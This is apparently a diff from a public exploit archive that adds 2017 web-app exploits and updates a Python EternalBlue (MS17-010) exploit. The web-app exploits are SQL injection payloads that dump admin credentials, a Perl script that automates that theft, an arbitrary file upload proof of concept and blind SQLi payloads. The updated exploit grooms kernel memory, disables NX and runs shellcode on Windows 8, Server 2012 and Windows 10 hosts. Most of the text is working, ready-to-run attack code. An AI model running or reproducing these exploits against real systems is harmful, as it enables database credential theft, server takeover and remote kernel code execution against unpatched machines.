# Software Link: http://www.i-netsolution.com/product/lending-borrowing-script/
# Demo: http://74.124.215.220/~realfund/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# http://localhost/[PATH]/single-cause.php?pid=[SQL]
#
# -22'++/*!00002UNION*/(/*!00002SELECT*/+0x283129,0x283229,0x283329,0x283429,0x283529,0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,(/*!00002SELECT*/+GROUP_CONCAT(0x557365726e616d653a,username,0x506173733a,password+SEPARATOR+0x3c62723e)+FROM+admin),0x28313529,0x28313629,0x28313729,0x28313829,0x28313929,0x28323029,0x28323129,0x28323229,0x28323329,0x28323429,0x28323529,0x28323629,0x28323729,0x28323829,0x28323929,0x28333029,0x28333129,0x28333229,0x28333329,0x28333429,0x28333529,0x28333629,0x28333729,0x28333829,0x28333929,0x28343029,0x28343129,0x28343229,0x28343329,0x28343429,0x28343529,0x28343629,0x28343729)--+-
#
# Etc..
# # # # #

30
platforms/php/webapps/42771.txt Executable file
View file

@ -0,0 +1,30 @@
# # # # #
# Exploit Title: Multi Level Marketing Script - SQL Injection
# Dork: N/A
# Date: 22.09.2017
# Vendor Homepage: http://www.i-netsolution.com/
# Software Link: http://www.i-netsolution.com/product/multi-level-marketing-script/
# Demo: http://74.124.215.220/~advaemlm/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
#
# http://localhost/[PATH]/service_detail.php?pid=[SQL]
#
# -8'++/*!00002UNION*/+/*!00002ALL*/+/*!00002SELECT*/+0x31,0x494853414e2053454e43414e,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x307833313330,0x3131,(/*!00002SELECT*/+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+/*!00002FROM*/+INFORMATION_SCHEMA.TABLES+/*!00002WHERE*/+TABLE_SCHEMA=DATABASE()),0x3133,0x3134,0x3135,0x3136,0x3137--+-
#
# http://localhost/[PATH]/news_detail.php?newid=[SQL]
# http://localhost/[PATH]/event_detail.php?eventid=[SQL]
#
# Etc..
# # # # #

59
platforms/php/webapps/42772.pl Executable file
View file

@ -0,0 +1,59 @@
#!/usr/bin/perl -w
# # # # #
# Exploit Title: Cash Back Comparison Script 1.0 - SQL Injection
# Dork: N/A
# Date: 22.09.2017
# Vendor Homepage: http://cashbackcomparisonscript.com/
# Software Link: http://cashbackcomparisonscript.com/demo/features/
# Demo: http://www.cashbackcomparison.info/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-14703
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear'); }
clear();
print "
################################################################################
#### ## ## ###### ### ## ##
## ## ## ## ## ## ## ### ##
## ## ## ## ## ## #### ##
## ######### ###### ## ## ## ## ##
## ## ## ## ######### ## ####
## ## ## ## ## ## ## ## ###
#### ## ## ###### ## ## ## ##
###### ######## ## ## ###### ### ## ##
## ## ## ### ## ## ## ## ## ### ##
## ## #### ## ## ## ## #### ##
###### ###### ## ## ## ## ## ## ## ## ##
## ## ## #### ## ######### ## ####
## ## ## ## ### ## ## ## ## ## ###
###### ######## ## ## ###### ## ## ## ##
Cash Back Comparison Script 1.0 - SQL Injection
################################################################################
";
use LWP::UserAgent;
print "\nInsert Target:[http://site.com/path/]: ";
chomp(my $target=<STDIN>);
print "\n[!] Exploiting Progress.....\n";
print "\n";
$cc="/*!01116concat*/(0x3c74657874617265613e,0x557365726e616d653a,username,0x20,0x506173733a,password,0x3c2f74657874617265613e)";
$tt="users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0');
$host = $target . "search/EfE'+/*!01116UNIoN*/+/*!01116SeLecT*/+0x31,0x32,0x33,0x34,0x35,0x36,".$cc.",0x38/*!50000FrOm*/".$tt."--+-.html";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/<textarea>(.*?)<\/textarea>/){
print "[+] Success !!!\n";
print "\n[+] Admin Detail : $1\n";
print "\n[+]$target/admin/login.php\n";
print "\n";
}
else{print "\n[-]Not found.\n";
}

73
platforms/php/webapps/42773.txt Executable file
View file

@ -0,0 +1,73 @@
# # # # #
# Exploit Title: Claydip Laravel Airbnb Clone 1.0 - Arbitrary File Upload
# Dork: N/A
# Date: 22.09.2017
# Vendor Homepage: https://www.claydip.com/
# Software Link: https://www.claydip.com/airbnb-clone.html
# Demo: https://www.claydip.com/airbnb_demo.html
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-14704
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
#
# The vulnerability allows an users upload arbitrary file....
#
# Vulnerable Source:
#
# .............1
# public function imageSubmit(Request $request)
# {
$this->validate($request, [
'image' => 'image|mimes:jpeg,png,jpg,gif,svg|max:2048',
]);
# if ($request->hasFile('profile_img_name')) {
# $file = $request->file('profile_img_name');
# //getting timestamp
# $timestamp = str_replace([' ', ':'], '-', Carbon::now()->toDateTimeString());
# $img_name = $timestamp. '-' .$file->getClientOriginalName();
# //$image->filePath = $img_name;
# $file->move(public_path().'/images/profile', $img_name);
# $postData = array('profile_img_name' => $img_name, 'profile_photo_approve' => 0);
# $user = $this->userRepository->updateUser($postData);
# flash('Profile Image Updated Successfully', 'success');
# if($request->get('uploadpage') == 2) {
# return \Redirect::to('user/edit/uploadphoto');
# }
# return \Redirect::to('user/dashboard');
# }
#
# }
# .............2
# public function proof_submit(Request $request)
# {
# if ($request->hasFile('profile_img_name')) {
# $file = $request->file('profile_img_name');
# //getting timestamp
# $timestamp = str_replace([' ', ':'], '-', Carbon::now()->toDateTimeString());
# $img_name = $timestamp. '-' .$file->getClientOriginalName();
# //$image->filePath = $img_name;
# $file->move(public_path().'/images/proof', $img_name);
# $postData = array('idproof_img_src' => $img_name, 'id_proof_approved' => 0);
# $user = $this->userRepository->updateUser($postData);
# flash('Proof Updated Successfully', 'success');
# return \Redirect::to('user/edit/uploadproof');
# }
#
# }
# .............
#
# Proof of Concept:
#
# http://localhost/[PATH]/user/edit/uploadphoto
# http://localhost/[PATH]/user/edit/uploadproof
#
# http://localhost/[PATH]/images/profile/[$timestamp].Php
#
# Etc..
# # # # #

41
platforms/php/webapps/42774.txt Executable file
View file

@ -0,0 +1,41 @@
# Exploit Title: Secure E-commerce Script v1.02 - SQL Injection
# Date: 2017-09-22
# Exploit Author: 8bitsec
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link: http://www.phpscriptsmall.com/product/secure-e-commerce-script/
# Version: 1.02
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec
Release Date:
=============
2017-09-22
Product & Service Introduction:
===============================
Would you like to secure your Shopping Cart Script? We have the readymade solution for Secure Ecommerce Shopping Cart php that is making secure your online transaction.
Technical Details & Description:
================================
SQL injection on [sid] parameter.
Proof of Concept (PoC):
=======================
SQLi:
http://localhost/[path]/single_detail.php?sid=9 AND 5028=5028
Parameter: sid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sid=9 AND 5028=5028
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: sid=9 AND SLEEP(5)
==================
8bitsec - [https://twitter.com/_8bitsec]

41
platforms/php/webapps/42775.txt Executable file
View file

@ -0,0 +1,41 @@
# Exploit Title: PHP Auction Ecommerce Script v1.6 - SQL Injection
# Date: 2017-09-22
# Exploit Author: 8bitsec
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software Link: http://www.phpscriptsmall.com/product/php-auction-ecommerce-script/
# Version: 1.6
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec
Release Date:
=============
2017-09-22
Product & Service Introduction:
===============================
Start your own Auction website with our Readymade PHP Auction script.
Technical Details & Description:
================================
SQL injection on [detail] URI parameter.
Proof of Concept (PoC):
=======================
SQLi:
http://localhost/[path]/detail/xx AND 1053=1053/xxxxx
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: AND 1053=1053/xxxx
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: AND SLEEP(5)/xxxx
==================
8bitsec - [https://twitter.com/_8bitsec]

View file

@ -1,7 +1,7 @@
#!/usr/bin/python #!/usr/bin/python
from impacket import smb from impacket import smb, ntlm
from struct import pack from struct import pack
import os
import sys import sys
import socket import socket
@ -9,15 +9,24 @@ import socket
EternalBlue exploit for Windows 8 and 2012 by sleepya EternalBlue exploit for Windows 8 and 2012 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten) The exploit might FAIL and CRASH a target system (depended on what is overwritten)
The exploit support only x64 target The exploit support only x64 target
Tested on: Tested on:
- Windows 2012 R2 x64 - Windows 2012 R2 x64
- Windows 8.1 x64 - Windows 8.1 x64
- Windows 10 Pro Build 10240 x64
Default Windows 8 and later installation without additional service info: Default Windows 8 and later installation without additional service info:
- anonymous is not allowed to access any share (including IPC$) - anonymous is not allowed to access any share (including IPC$)
- tcp port 445 if filtered by firewall - More info: https://support.microsoft.com/en-us/help/3034016/ipc-share-and-null-session-behavior-in-windows
- tcp port 445 is filtered by firewall
Reference: Reference:
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ - http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
- "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/edit - "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/edit
Exploit info: Exploit info:
- If you do not know how exploit for Windows 7/2008 work. Please read my exploit for Windows 7/2008 at - If you do not know how exploit for Windows 7/2008 work. Please read my exploit for Windows 7/2008 at
https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a because the trick for exploit is almost the same https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a because the trick for exploit is almost the same
@ -27,6 +36,8 @@ Exploit info:
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool. - The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5) - If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
- See the code and comment for exploit detail. - See the code and comment for exploit detail.
Disable NX method: Disable NX method:
- The idea is from "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" (see link in reference) - The idea is from "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" (see link in reference)
- The exploit is also the same but we need to trigger bug twice - The exploit is also the same but we need to trigger bug twice
@ -34,8 +45,17 @@ Disable NX method:
- Write '\x00' to disable the NX flag - Write '\x00' to disable the NX flag
- Second trigger, do the same as Windows 7 exploit - Second trigger, do the same as Windows 7 exploit
- From my test, if exploit disable NX successfully, I always get code execution - From my test, if exploit disable NX successfully, I always get code execution
# E-DB Note: https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e
# E-DB Note: https://github.com/worawit/MS17-010/blob/873c5453680a0785415990379a4b36ba61f82a4d/eternalblue_exploit8.py
''' '''
# if anonymous can access any share folder, 'IPC$' is always accessible.
# authenticated user is always able to access 'IPC$'.
# Windows 2012 does not allow anonymous to login if no share is accessible.
USERNAME=''
PASSWORD=''
# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000 # because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
NTFEA_SIZE = 0x9000 NTFEA_SIZE = 0x9000
@ -46,6 +66,7 @@ ntfea9000 += pack('<BBH', 0, 0, 0x8147) + '\x00'*0x8148 # overflow to SRVNET_BU
''' '''
Reverse from srvnet.sys (Win2012 R2 x64) Reverse from srvnet.sys (Win2012 R2 x64)
- SrvNetAllocateBufferFromPool() and SrvNetWskTransformedReceiveComplete(): - SrvNetAllocateBufferFromPool() and SrvNetWskTransformedReceiveComplete():
// size 0x90 // size 0x90
struct SRVNET_BUFFER_HDR { struct SRVNET_BUFFER_HDR {
LIST_ENTRY list; LIST_ENTRY list;
@ -67,12 +88,14 @@ struct SRVNET_BUFFER_HDR {
char unknown7[12]; char unknown7[12];
char unknown8[0x20]; char unknown8[0x20];
}; };
struct SRVNET_BUFFER { struct SRVNET_BUFFER {
char transportHeader[80]; // 0x50 char transportHeader[80]; // 0x50
char buffer[reqSize+padding]; // 0x8100 (for pool size 0x82f0), 0x10100 (for pool size 0x11000) char buffer[reqSize+padding]; // 0x8100 (for pool size 0x82f0), 0x10100 (for pool size 0x11000)
SRVNET_BUFFER_HDR hdr; //some header size 0x90 SRVNET_BUFFER_HDR hdr; //some header size 0x90
//MDL mdl1; // target //MDL mdl1; // target
}; };
In Windows 8, the srvnet buffer metadata is declared after real buffer. We need to overflow through whole receive buffer. In Windows 8, the srvnet buffer metadata is declared after real buffer. We need to overflow through whole receive buffer.
Because transaction max data count is 66512 (0x103d0) in SMB_COM_NT_TRANSACT command and Because transaction max data count is 66512 (0x103d0) in SMB_COM_NT_TRANSACT command and
DataDisplacement is USHORT in SMB_COM_TRANSACTION2_SECONDARY command, we cannot send large trailing data after FEALIST. DataDisplacement is USHORT in SMB_COM_TRANSACTION2_SECONDARY command, we cannot send large trailing data after FEALIST.
@ -116,14 +139,19 @@ If exploit cannot overflow to prepared SRVNET_BUFFER, the target is likely to cr
# \x8b\x4a\x48 mov ecx, [rdx+0x48] # \x8b\x4a\x48 mov ecx, [rdx+0x48]
# \x89\x4a\x40 mov [rdx+0x40], ecx # \x89\x4a\x40 mov [rdx+0x40], ecx
TARGET_HAL_HEAP_ADDR = 0xffffffffffd00e00 # for put fake struct and shellcode # debug mode affects HAL heap. The 0xffffffffffd04000 address should be useable no matter what debug mode is.
# The 0xffffffffffd00000 address should be useable when debug mode is not enabled
# The 0xffffffffffd01000 address should be useable when debug mode is enabled
TARGET_HAL_HEAP_ADDR = 0xffffffffffd04000 # for put fake struct and shellcode
# Note: feaList will be created after knowing shellcode size. # Note: feaList will be created after knowing shellcode size.
# feaList for disabling NX is possible because we just want to change only MDL.MappedSystemVa # feaList for disabling NX is possible because we just want to change only MDL.MappedSystemVa
# PTE of 0xffffffffffd01000 is at 0xfffff6ffffffe808 # PTE of 0xffffffffffd00000 is at 0xfffff6ffffffe800
# NX bit is at 0xfffff6ffffffe80f # NX bit is at PTE_ADDR+7
# MappedSystemVa = 0xfffff6ffffffe80f - 0x7f = 0xfffff6ffffffe790 # MappedSystemVa = PTE_ADDR+7 - 0x7f
SHELLCODE_PAGE_ADDR = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000
PTE_ADDR = 0xfffff6ffffffe800 + 8*((SHELLCODE_PAGE_ADDR-0xffffffffffd00000) >> 12)
fakeSrvNetBufferX64Nx = '\x00'*16 fakeSrvNetBufferX64Nx = '\x00'*16
fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)
fakeSrvNetBufferX64Nx += '\x00'*16 fakeSrvNetBufferX64Nx += '\x00'*16
@ -134,7 +162,7 @@ fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
fakeSrvNetBufferX64Nx += '\x00'*16 fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += '\x00'*16 fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0xfffff6ffffffe80f-0x7f) # MDL.Process, MDL.MappedSystemVa fakeSrvNetBufferX64Nx += pack('<QQ', 0, PTE_ADDR+7-0x7f) # MDL.Process, MDL.MappedSystemVa
feaListNx = pack('<I', 0x10000) feaListNx = pack('<I', 0x10000)
feaListNx += ntfea9000 feaListNx += ntfea9000
@ -144,11 +172,11 @@ feaListNx += pack('<BBH', 0x12, 0x34, 0x5678)
def createFakeSrvNetBuffer(sc_size): def createFakeSrvNetBuffer(sc_size):
# 0x200 is size of fakeSrvNetBufferX64 # 0x180 is size of fakeSrvNetBufferX64
totalRecvSize = 0x80 + 0x200 + sc_size totalRecvSize = 0x80 + 0x180 + sc_size
fakeSrvNetBufferX64 = '\x00'*16 fakeSrvNetBufferX64 = '\x00'*16
fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) # flag, _, _, pNetRawBuffer fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) # flag, _, _, pNetRawBuffer
fakeSrvNetBufferX64 += '\x00'*16 fakeSrvNetBufferX64 += pack('<QII', 0, 0x82e8, 0) # _, thisNonPagedPoolSize, _
fakeSrvNetBufferX64 += '\x00'*16 fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize) # offset 0x40 fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize) # offset 0x40
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR) # pmdl2, pointer to fake struct fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR) # pmdl2, pointer to fake struct
@ -184,11 +212,11 @@ fake_recv_struct = ('\x00'*16)*5
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58) # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself) fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58) # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0) # offset 0x60 fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0) # offset 0x60
fake_recv_struct += ('\x00'*16)*10 fake_recv_struct += ('\x00'*16)*10
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x1f0, 0) # offset 0x110: fn_ptr array fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x170, 0) # offset 0x110: fn_ptr array
fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0) # set arg1 to -0x8150 fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0) # set arg1 to -0x8150
fake_recv_struct += pack('<QII', 0, 0, 3) # offset 0x130 fake_recv_struct += pack('<QII', 0, 0, 3) # offset 0x130
fake_recv_struct += ('\x00'*16)*11 fake_recv_struct += ('\x00'*16)*3
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x200) # shellcode address fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180) # shellcode address
def getNTStatus(self): def getNTStatus(self):
@ -215,28 +243,18 @@ def sendEcho(conn, tid, data):
print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus())) print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))
# do not know why Word Count can be 12 # override SMB.neg_session() to allow forcing ntlm authentication
# if word count is not 12, setting ByteCount without enough data will be failed class MYSMB(smb.SMB):
class SMBSessionSetupAndXCustom_Parameters(smb.SMBAndXCommand_Parameters): def __init__(self, remote_host, use_ntlmv2=True):
structure = ( self.__use_ntlmv2 = use_ntlmv2
('MaxBuffer','<H'), smb.SMB.__init__(self, remote_host, remote_host)
('MaxMpxCount','<H'),
('VCNumber','<H'), def neg_session(self, extended_security = True, negPacket = None):
('SessionKey','<L'), smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket)
#('AnsiPwdLength','<H'),
('UnicodePwdLength','<H'),
('_reserved','<L=0'),
('Capabilities','<L'),
)
def createSessionAllocNonPaged(target, size): def createSessionAllocNonPaged(target, size):
# The big nonpaged pool allocation is in BlockingSessionSetupAndX() function conn = MYSMB(target, use_ntlmv2=False) # with this negotiation, FLAGS2_EXTENDED_SECURITY is not set
# You can see the allocation logic (even code is not the same) in WinNT4 source code
# https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/smbadmin.c#L1050 till line 1071
conn = smb.SMB(target, target)
_, flags2 = conn.get_flags() _, flags2 = conn.get_flags()
# FLAGS2_EXTENDED_SECURITY MUST not be set
flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
if size >= 0xffff: if size >= 0xffff:
flags2 &= ~smb.SMB.FLAGS2_UNICODE flags2 &= ~smb.SMB.FLAGS2_UNICODE
@ -249,27 +267,49 @@ def createSessionAllocNonPaged(target, size):
pkt = smb.NewSMBPacket() pkt = smb.NewSMBPacket()
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndXCustom_Parameters() sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Parameters']['MaxBuffer'] = 61440 # can be any value greater than response size sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size
sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value
sessionSetup['Parameters']['VCNumber'] = os.getpid() sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero
sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['AnsiPwdLength'] = 0 sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
sessionSetup['Parameters']['UnicodePwdLength'] = 0 sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS
sessionSetup['Parameters']['Capabilities'] = 0x80000000
# set ByteCount here sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
sessionSetup['Data'] = pack('<H', size) + '\x00'*20
pkt.addCommand(sessionSetup) pkt.addCommand(sessionSetup)
conn.sendSMB(pkt) conn.sendSMB(pkt)
recvPkt = conn.recvSMB() recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0: if recvPkt.getNTStatus() == 0:
print('SMB1 session setup allocate nonpaged pool success') print('SMB1 session setup allocate nonpaged pool success')
else: return conn
print('SMB1 session setup allocate nonpaged pool failed')
return conn if USERNAME:
# Try login with valid user because anonymous user might get access denied on Windows Server 2012.
# Note: If target allows only NTLMv2 authentication, the login will always fail.
# support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16)
flags2 &= ~smb.SMB.FLAGS2_UNICODE
reqSize = size // 2
conn.set_flags(flags2=flags2)
# new SMB packet to reset flags
pkt = smb.NewSMBPacket()
pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(PASSWORD))
# UnicodePasswordLen field is in Reserved for extended security format.
sessionSetup['Parameters']['Reserved'] = len(pwd_unicode)
sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(USERNAME)) + pwd_unicode + USERNAME + '\x00'*16
pkt.addCommand(sessionSetup)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('SMB1 session setup allocate nonpaged pool success')
return conn
# lazy to check error code, just print fail message
print('SMB1 session setup allocate nonpaged pool failed')
sys.exit(1)
# Note: impacket-0.9.15 struct has no ParameterDisplacement # Note: impacket-0.9.15 struct has no ParameterDisplacement
@ -324,12 +364,13 @@ def send_trans2_second(conn, tid, data, displacement):
conn.sendSMB(pkt) conn.sendSMB(pkt)
def send_nt_trans(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True): def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
pkt = smb.NewSMBPacket() pkt = smb.NewSMBPacket()
pkt['Tid'] = tid pkt['Tid'] = tid
command = pack('<H', setup) command = pack('<H', setup)
# Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
transCommand['Parameters'] = smb.SMBNTTransaction_Parameters() transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
transCommand['Parameters']['MaxSetupCount'] = 1 transCommand['Parameters']['MaxSetupCount'] = 1
@ -375,6 +416,7 @@ def send_nt_trans(conn, tid, setup, data, param, firstDataFragmentSize, sendLast
print('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus())) print('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()))
sys.exit(1) sys.exit(1)
# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
i = firstDataFragmentSize i = firstDataFragmentSize
while i < len(data): while i < len(data):
sendSize = min(4096, len(data) - i) sendSize = min(4096, len(data) - i)
@ -397,7 +439,7 @@ def createConnectionWithBigSMBFirst80(target, for_nx=False):
# There is no need to be SMB2 because we want the target free the corrupted buffer. # There is no need to be SMB2 because we want the target free the corrupted buffer.
# Also this is invalid SMB2 message. # Also this is invalid SMB2 message.
# I believe NSA exploit use SMB2 for hiding alert from IDS # I believe NSA exploit use SMB2 for hiding alert from IDS
#pkt += '\xffSMB' # smb2 #pkt += '\xfeSMB' # smb2
# it can be anything even it is invalid # it can be anything even it is invalid
pkt += 'BAAD' # can be any pkt += 'BAAD' # can be any
if for_nx: if for_nx:
@ -413,25 +455,29 @@ def createConnectionWithBigSMBFirst80(target, for_nx=False):
def exploit(target, shellcode, numGroomConn): def exploit(target, shellcode, numGroomConn):
# force using smb.SMB for SMB1 # force using smb.SMB for SMB1
conn = smb.SMB(target, target) conn = smb.SMB(target, target)
conn.login(USERNAME, PASSWORD)
# can use conn.login() for ntlmv2
conn.login_standard('', '')
server_os = conn.get_server_os() server_os = conn.get_server_os()
print('Target OS: '+server_os) print('Target OS: '+server_os)
if not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")): if server_os.startswith("Windows 10 "):
build = int(server_os.split()[-1])
if build >= 14393: # version 1607
print('This exploit does not support this target')
sys.exit()
elif not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")):
print('This exploit does not support this target') print('This exploit does not support this target')
sys.exit() sys.exit()
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
# Send special feaList to a target except last fragment with SMB_COM_NT_TRANSACT and SMB_COM_TRANSACTION2_SECONDARY command # The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
progress = send_nt_trans(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False) # Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False)
# Another NT transaction for disabling NX # Another TRANS2_OPEN2 (0) with special feaList for disabling NX
nxconn = smb.SMB(target, target) nxconn = smb.SMB(target, target)
nxconn.login_standard('', '') nxconn.login(USERNAME, PASSWORD)
nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
nxprogress = send_nt_trans(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False) nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False)
# create some big buffer at server # create some big buffer at server
# this buffer MUST NOT be big enough for overflown buffer # this buffer MUST NOT be big enough for overflown buffer
@ -455,12 +501,12 @@ def exploit(target, shellcode, numGroomConn):
for i in range(5): for i in range(5):
sk = createConnectionWithBigSMBFirst80(target, for_nx=True) sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
srvnetConn.append(sk) srvnetConn.append(sk)
# remove holeConn to create hole for fea buffer # remove holeConn to create hole for fea buffer
holeConn.get_socket().close() holeConn.get_socket().close()
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
# first trigger to overwrite srvnet buffer struct for disabling NX # first trigger, overwrite srvnet buffer struct for disabling NX
